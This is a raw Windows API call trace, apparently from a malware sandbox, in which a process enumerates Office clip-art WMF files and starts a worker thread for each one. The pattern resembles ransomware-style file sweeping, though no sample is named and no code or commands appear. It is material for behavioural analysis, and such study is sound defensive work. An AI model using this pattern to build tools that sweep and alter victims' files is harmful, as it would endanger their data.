	[0244.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x219c
	[0244.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.299] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1
	[0244.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a0
	[0244.300] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.301] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1
	[0244.301] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a4
	[0244.303] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.303] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1
	[0244.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a8
	[0244.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.306] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1
	[0244.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ac
	[0244.309] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.309] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1
	[0244.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b0
	[0244.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.468] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1
	[0244.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b4
	[0244.471] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.471] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1
	[0244.471] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b8
	[0244.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.474] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1
	[0244.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21bc
	[0244.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.476] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1
	[0244.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c0
	[0244.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.479] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1
	[0244.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c4
	[0244.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.481] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1
	[0244.481] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c8
	[0244.483] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.484] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1
	[0244.484] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21cc
	[0244.486] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.487] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1
	[0244.487] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d0
	[0244.489] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.489] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1
	[0244.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d4
	[0244.492] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.492] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1
	[0244.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d8
	[0244.494] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.495] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1
	[0244.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21dc
	[0244.497] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.498] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1
	[0244.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e0
	[0244.500] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.500] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1
	[0244.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e4
	[0244.553] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.554] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1
	[0244.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e8
	[0244.555] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.557] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1
	[0244.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ec
	[0244.560] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.560] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1
	[0244.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f0
	[0244.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.563] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1
	[0244.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f4
	[0244.565] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.566] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1
	[0244.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f8
	[0244.568] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.568] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1
	[0244.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21fc
	[0244.571] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.571] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1
	[0244.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f52e4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2200
	[0244.573] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.574] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1
	[0244.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f531b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2204
	[0244.576] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.577] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1
